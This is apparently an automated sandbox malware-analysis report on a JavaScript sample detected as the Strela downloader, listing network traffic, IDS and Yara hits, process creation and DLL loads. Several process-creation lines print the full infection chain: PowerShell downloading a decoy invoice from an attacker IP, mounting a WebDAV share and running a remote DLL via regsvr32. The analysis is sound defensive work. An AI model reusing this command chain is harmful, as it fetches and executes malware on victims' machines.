Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: global traffic

TCP traffic: 192.168.2.6:49712 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:63152 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2148725874.0000020531DC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2203377662.00000246AFDA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.2058888/
Source: net.exe, 00000007.00000002.2203377662.00000246AFDD9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2203377662.00000246AFDA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2203377662.00000246AFDFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2203377662.00000246AFDA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/-f
Source: net.exe, 00000007.00000002.2203377662.00000246AFDA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/.h
Source: net.exe, 00000007.00000002.2203377662.00000246AFDA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/log5
Source: net.exe, 00000007.00000002.2203377662.00000246AFDD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: svchost.exe, 00000009.00000002.3442872552.00000231F4600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2202630200.00000231F44A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7148, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3274215974163975076.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2032:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k1ltm51a.pwc.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1548,i,6986894706636841504,16957062876485416370,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1548,i,6986894706636841504,16957062876485416370,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
